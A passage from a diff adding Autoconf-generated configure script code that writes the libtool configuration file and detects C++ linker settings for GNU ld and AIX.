sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler \ + CC \ + LD \ + lt_prog_compiler_wl \ + lt_prog_compiler_pic \ + lt_prog_compiler_static \ + lt_prog_compiler_no_builtin_flag \ + export_dynamic_flag_spec \ + thread_safe_flag_spec \ + whole_archive_flag_spec \ + enable_shared_with_static_runtimes \ + old_archive_cmds \ + old_archive_from_new_cmds \ + predep_objects \ + postdep_objects \ + predeps \ + postdeps \ + compiler_lib_search_path \ + archive_cmds \ + archive_expsym_cmds \ + postinstall_cmds \ + postuninstall_cmds \ + old_archive_from_expsyms_cmds \ + allow_undefined_flag \ + no_undefined_flag \ + export_symbols_cmds \ + hardcode_libdir_flag_spec \ + hardcode_libdir_flag_spec_ld \ + hardcode_libdir_separator \ + hardcode_automatic \ + module_cmds \ + module_expsym_cmds \ + lt_cv_prog_compiler_c_o \ + exclude_expsyms \ + include_expsyms; do + + case $var in + old_archive_cmds | \ + old_archive_from_new_cmds | \ + archive_cmds | \ + archive_expsym_cmds | \ + module_cmds | \ + module_expsym_cmds | \ + old_archive_from_expsyms_cmds | \ + export_symbols_cmds | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="${ofile}T" + trap "$rm \"$cfgfile\"; exit 1" 1 2 15 + $rm -f "$cfgfile" + { echo "$as_me:$LINENO: creating $ofile" >&5 +echo "$as_me: creating $ofile" >&6;} + + cat <<__EOF__ >> "$cfgfile" +#! $SHELL + +# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services. +# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP) +# NOTE: Changes made to this file will be lost: look at ltmain.sh. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001 +# Free Software Foundation, Inc. +# +# This file is part of GNU Libtool: +# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# A sed program that does not truncate output. +SED=$lt_SED + +# Sed that helps us avoid accidentally triggering echo(1) options like -n. +Xsed="$SED -e s/^X//" + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +# The names of the tagged configurations supported by this script. +available_tags= + +# ### BEGIN LIBTOOL CONFIG + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler + +# Is the compiler the GNU C compiler? +with_gcc=$GCC + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds +archive_expsym_cmds=$lt_archive_expsym_cmds +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds +module_expsym_cmds=$lt_module_expsym_cmds + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms + +# ### END LIBTOOL CONFIG + +__EOF__ + + + case $host_os in + aix3*) + cat <<\EOF >> "$cfgfile" + +# AIX sometimes has problems with the GCC collect2 program. For some +# reason, if we set the COLLECT_NAMES environment variable, the problems +# vanish in a puff of smoke. +if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES +fi +EOF + ;; + esac + + # We use sed instead of cat because bash on DJGPP gets confused if + # if finds mixed CR/LF and LF-only lines. Since sed operates in + # text mode, it properly converts lines to CR/LF. This bash problem + # is reportedly fixed, but why not run on old versions too? + sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1) + + mv -f "$cfgfile" "$ofile" || \ + (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") + chmod +x "$ofile" + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC="$lt_save_CC" + + +# Check whether --with-tags or --without-tags was given. +if test "${with_tags+set}" = set; then + withval="$with_tags" + tagnames="$withval" +fi; + +if test -f "$ltmain" && test -n "$tagnames"; then + if test ! -f "${ofile}"; then + { echo "$as_me:$LINENO: WARNING: output file \`$ofile' does not exist" >&5 +echo "$as_me: WARNING: output file \`$ofile' does not exist" >&2;} + fi + + if test -z "$LTCC"; then + eval "`$SHELL ${ofile} --config | grep '^LTCC='`" + if test -z "$LTCC"; then + { echo "$as_me:$LINENO: WARNING: output file \`$ofile' does not look like a libtool script" >&5 +echo "$as_me: WARNING: output file \`$ofile' does not look like a libtool script" >&2;} + else + { echo "$as_me:$LINENO: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&5 +echo "$as_me: WARNING: using \`LTCC=$LTCC', extracted from \`$ofile'" >&2;} + fi + fi + + # Extract list of available tagged configurations in $ofile. + # Note that this assumes the entire list is on one line. + available_tags=`grep "^available_tags=" "${ofile}" | $SED -e 's/available_tags=\(.*$\)/\1/' -e 's/\"//g'` + + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for tagname in $tagnames; do + IFS="$lt_save_ifs" + # Check whether tagname contains only valid characters + case `$echo "X$tagname" | $Xsed -e 's:[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]::g'` in + "") ;; + *) { { echo "$as_me:$LINENO: error: invalid tag name: $tagname" >&5 +echo "$as_me: error: invalid tag name: $tagname" >&2;} + { (exit 1); exit 1; }; } + ;; + esac + + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null + then + { { echo "$as_me:$LINENO: error: tag name \"$tagname\" already exists" >&5 +echo "$as_me: error: tag name \"$tagname\" already exists" >&2;} + { (exit 1); exit 1; }; } + fi + + # Update the list of available tags. + if test -n "$tagname"; then + echo appending configuration tag \"$tagname\" to $ofile + + case $tagname in + CXX) + if test -n "$CXX" && test "X$CXX" != "Xno"; then + ac_ext=cc +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu + + + + +archive_cmds_need_lc_CXX=no +allow_undefined_flag_CXX= +always_export_symbols_CXX=no +archive_expsym_cmds_CXX= +export_dynamic_flag_spec_CXX= +hardcode_direct_CXX=no +hardcode_libdir_flag_spec_CXX= +hardcode_libdir_flag_spec_ld_CXX= +hardcode_libdir_separator_CXX= +hardcode_minus_L_CXX=no +hardcode_automatic_CXX=no +module_cmds_CXX= +module_expsym_cmds_CXX= +link_all_deplibs_CXX=unknown +old_archive_cmds_CXX=$old_archive_cmds +no_undefined_flag_CXX= +whole_archive_flag_spec_CXX= +enable_shared_with_static_runtimes_CXX=no + +# Dependencies to place before and after the object being linked: +predep_objects_CXX= +postdep_objects_CXX= +predeps_CXX= +postdeps_CXX= +compiler_lib_search_path_CXX= + +# Source file extension for C++ test sources. +ac_ext=cc + +# Object file extension for compiled C++ test sources. +objext=o +objext_CXX=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(int, char *) { return(0); }\n' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Allow CC to be a program name with arguments. +lt_save_CC=$CC +lt_save_LD=$LD +lt_save_GCC=$GCC +GCC=$GXX +lt_save_with_gnu_ld=$with_gnu_ld +lt_save_path_LD=$lt_cv_path_LD +if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then + lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx +else + unset lt_cv_prog_gnu_ld +fi +if test -n "${lt_cv_path_LDCXX+set}"; then + lt_cv_path_LD=$lt_cv_path_LDCXX +else + unset lt_cv_path_LD +fi +test -z "${LDCXX+set}" || LD=$LDCXX +CC=${CXX-"c++"} +compiler=$CC +compiler_CXX=$CC +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# We don't want -fno-exception wen compiling C++ code, so set the +# no_builtin_flag separately +if test "$GXX" = yes; then + lt_prog_compiler_no_builtin_flag_CXX=' -fno-builtin' +else + lt_prog_compiler_no_builtin_flag_CXX= +fi + +if test "$GXX" = yes; then + # Set up default GNU C++ configuration + + +# Check whether --with-gnu-ld or --without-gnu-ld was given. +if test "${with_gnu_ld+set}" = set; then + withval="$with_gnu_ld" + test "$withval" = no || with_gnu_ld=yes +else + with_gnu_ld=no +fi; +ac_prog=ld +if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + echo "$as_me:$LINENO: checking for ld used by $CC" >&5 +echo $ECHO_N "checking for ld used by $CC... $ECHO_C" >&6 + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [\\/]* | ?:[\\/]*) + re_direlt='/[^/][^/]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'` + while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do + ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD="$ac_prog" + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test "$with_gnu_ld" = yes; then + echo "$as_me:$LINENO: checking for GNU ld" >&5 +echo $ECHO_N "checking for GNU ld... $ECHO_C" >&6 +else + echo "$as_me:$LINENO: checking for non-GNU ld" >&5 +echo $ECHO_N "checking for non-GNU ld... $ECHO_C" >&6 +fi +if test "${lt_cv_path_LD+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -z "$LD"; then + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some GNU ld's only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in + *GNU* | *'with BFD'*) + test "$with_gnu_ld" != no && break + ;; + *) + test "$with_gnu_ld" != yes && break + ;; + esac + fi + done + IFS="$lt_save_ifs" +else + lt_cv_path_LD="$LD" # Let the user override the test with a path. +fi +fi + +LD="$lt_cv_path_LD" +if test -n "$LD"; then + echo "$as_me:$LINENO: result: $LD" >&5 +echo "${ECHO_T}$LD" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi +test -z "$LD" && { { echo "$as_me:$LINENO: error: no acceptable ld found in \$PATH" >&5 +echo "$as_me: error: no acceptable ld found in \$PATH" >&2;} + { (exit 1); exit 1; }; } +echo "$as_me:$LINENO: checking if the linker ($LD) is GNU ld" >&5 +echo $ECHO_N "checking if the linker ($LD) is GNU ld... $ECHO_C" >&6 +if test "${lt_cv_prog_gnu_ld+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # I'd rather use --version here, but apparently some GNU ld's only accept -v. +case `$LD -v 2>&1 </dev/null` in +*GNU* | *'with BFD'*) + lt_cv_prog_gnu_ld=yes + ;; +*) + lt_cv_prog_gnu_ld=no + ;; +esac +fi +echo "$as_me:$LINENO: result: $lt_cv_prog_gnu_ld" >&5 +echo "${ECHO_T}$lt_cv_prog_gnu_ld" >&6 +with_gnu_ld=$lt_cv_prog_gnu_ld + + + + # Check if GNU C++ uses GNU ld as the underlying linker, since the + # archiving commands below assume that GNU ld is being used. + if test "$with_gnu_ld" = yes; then + archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + + hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir' + export_dynamic_flag_spec_CXX='${wl}--export-dynamic' + + # If archive_cmds runs LD, not CC, wlarc should be empty + # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to + # investigate it a little bit more. (MM) + wlarc='${wl}' + + # ancient GNU ld didn't support --whole-archive et. al. + if eval "`$CC -print-prog-name=ld` --help 2>&1" | \ + grep 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + whole_archive_flag_spec_CXX= + fi + else + with_gnu_ld=no + wlarc= + + # A generic and very simple default shared library creation + # command for GNU C++ for the case where it uses the native + # linker, instead of GNU ld. If possible, this setting should + # overridden to take advantage of the native linker features on + # the platform it is being used on. + archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + fi + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + +else + GXX=no + with_gnu_ld=no + wlarc= +fi + +# PORTME: fill in a description of your system's C++ link characteristics +echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6 +ld_shlibs_CXX=yes +case $host_os in + aix3*) + # FIXME: insert proper C++ library support + ld_shlibs_CXX=no + ;; + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix5*) + for ld_flag in $LDFLAGS; do + case $ld_flag in + *-brtl*) + aix_use_runtimelinking=yes + break + ;; + esac + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds_CXX='' + hardcode_direct_CXX=yes + hardcode_libdir_separator_CXX=':' + link_all_deplibs_CXX=yes + + if test "$GXX" = yes; then + case $host_os in aix4.012|aix4.012.*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + hardcode_direct_CXX=yes + else + # We have old collect2 + hardcode_direct_CXX=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L_CXX=yes + hardcode_libdir_flag_spec_CXX='-L$libdir' + hardcode_libdir_separator_CXX= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols_CXX=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag_CXX='-berok' + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath" + + archive_expsym_cmds_CXX="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec_CXX='${wl}-R $libdir:/usr/lib:/lib' + allow_undefined_flag_CXX="-z nodefs" + archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. 